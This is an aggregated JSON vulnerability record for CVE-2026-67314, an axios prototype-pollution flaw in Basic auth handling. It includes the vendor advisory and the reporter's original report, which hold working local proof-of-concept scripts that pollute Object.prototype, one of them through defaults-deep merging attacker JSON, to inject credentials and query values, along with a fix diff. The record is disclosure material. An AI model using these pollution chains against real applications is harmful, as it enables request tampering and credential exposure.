{"id":"CVE-2026-67314","aliases":["CLSA-2026-1790767846","CLSA-2026-1792139363","CLSA-2026-1792476444","DEBIAN-CVE-2026-67314","EUVD-2026-51864","GHSA-38gx-cfqf-f652","GHSA-xj6q-8x83-jv6g","RHSA-2026:48758","RHSA-2026:49714","RHSA-2026:50826","ROOT-APP-NPM-CVE-2026-67314","ROOT-APP-NPM-GHSA-38gx-cfqf-f652","ROOT-APP-NPM-GHSA-xj6q-8x83-jv6g","UBUNTU-CVE-2026-67314","openSUSE-SU-2026:12070-1"],"status":"published","title":"axios before 1.18.0 Prototype Pollution via auth subfields","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00411,"percentile":0.35708,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-07-20T17:51:17Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.18.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.18.0-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"axios","fixed_in":["1.18.0-aikido.1","1.16.0-aikido.3","1.17.0-aikido.3","1.15.2-aikido.5","1.16.1-aikido.4","1.17.0-aikido.2","1.15.2-aikido.4","1.16.0-aikido.2","1.16.1-aikido.3","1.16.1-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/axios","fixed_in":["1.18.0-root.io.1","1.16.0-root.io.3","1.17.0-root.io.3","1.15.2-root.io.5","1.16.1-root.io.4","1.17.0-root.io.2","1.15.2-root.io.4","1.16.0-root.io.2","1.16.1-root.io.3","1.16.1-root.io.5"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.2"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.0-tuxcare.0"},{"fixed":"1.16.0-tuxcare.1"}]}],"versions":["1.16.0"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.17.0-tuxcare.0"},{"fixed":"1.17.0-tuxcare.2"}]}],"versions":["1.17.0","1.17.0-tuxcare.1"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.1-tuxcare.0"},{"fixed":"1.16.1-tuxcare.2"}]}],"versions":["1.16.1","1.16.1-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.15.2"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"Red 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Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.1-0.5.2.hum1"}]}],"bundled":10},{"source":"osv","ecosystem":"Root:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.16.0-aikido.3"},{"fixed":"1.17.0-aikido.3"},{"fixed":"1.15.2-aikido.5"},{"fixed":"1.16.1-aikido.4"},{"fixed":"1.17.0-aikido.2"},{"fixed":"1.15.2-aikido.4"},{"fixed":"1.16.0-aikido.2"},{"fixed":"1.16.1-aikido.3"},{"fixed":"1.16.1-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.16.0-root.io.3"},{"fixed":"1.17.0-root.io.3"},{"fixed":"1.15.2-root.io.5"},{"fixed":"1.16.1-root.io.4"},{"fixed":"1.17.0-root.io.2"},{"fixed":"1.15.2-root.io.4"},{"fixed":"1.16.0-root.io.2"},{"fixed":"1.16.1-root.io.3"},{"fixed":"1.16.1-root.io.5"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"velociraptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.76.7.0.git145.b60ef1146-1.1"}]}],"bundled":40}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g","tags":["vendor-advisory","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","article","report"]},{"url":"https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields","tags":["third-party-advisory","Third Party Advisory","advisory","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67314","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-38gx-cfqf-f652"},{"url":"https://github.com/axios/axios/pull/11000","tags":["web"]},{"url":"https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","tags":["web"]},{"url":"https://github.com/axios/axios/releases/tag/v1.18.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xj6q-8x83-jv6g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67314.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-67314","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:48758","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-62995","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67314","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67313","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67321","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67312","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67320","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73086","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27459","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48758.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448503","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27459","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27459","tags":["advisory"]},{"url":"https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst","tags":["article"]},{"url":"https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408","tags":["article"]},{"url":"https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2508524","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-62995","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62995","tags":["advisory"]},{"url":"https://github.com/authlib/joserfc/security/advisories/GHSA-5jhw-7jv7-qcqq","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510007","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67312","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67312","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67313","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510030","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67314","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2509993","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67320","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67320","tags":["advisory"]},{"url":"https://github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc","tags":["article"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510011","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67321","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67321","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2514175","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73086","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73086","tags":["advisory"]},{"url":"https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4","tags":["article"]},{"url":"https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3","tags":["article"]},{"url":"https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac","tags":["article"]},{"url":"https://github.com/ai/nanoid/releases/tag/3.3.12","tags":["ar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before 1.18.0 Prototype Pollution via auth subfields","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"published","published":"2026-08-01T12:22:16.603Z","modified":"2026-08-03T18:06:09.036Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-51864","description":"axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"published","published":"2026-08-01T12:22:16Z","modified":"2026-08-03T18:06:09Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:24.01774Z"}],"ghsa":[{"id":"GHSA-38gx-cfqf-f652","title":"Duplicate Advisory: Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-xj6q-8x83-jv6g. This link is maintained to preserve external references.\n\n## Original Description\naxios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","status":"withdrawn","published":"2026-08-01T15:30:27Z","modified":"2026-08-07T17:51:36Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:40:57.999375Z"},{"id":"GHSA-xj6q-8x83-jv6g","title":"Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    'Authorization',\n    'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end('{}');\n  server.close(() =\u003e {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth');         // ← top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || '';   // ← reads .username on the inherited chain\n    const password = configAuth.password || '';   // ← reads .password on the inherited chain\n    auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth');               // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, allowAbsoluteUrls),\n    config.params,            // ← direct read, not through own()\n    config.paramsSerializer   // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n  console.log('=== captured outbound request ===');\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end('{}');\n  server.close();\n  scrub();\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern — empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n    console.error('axios error:', e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own('auth');\n       if (configAuth) {\n-        const username = configAuth.username || '';\n-        const password = configAuth.password || '';\n+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n         auth = username + ':' + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n     headers.set(\n       'Authorization',\n       'Basic ' +\n-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle's public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n  prefer to fold this into open PR #10922 (whose author is actively\n  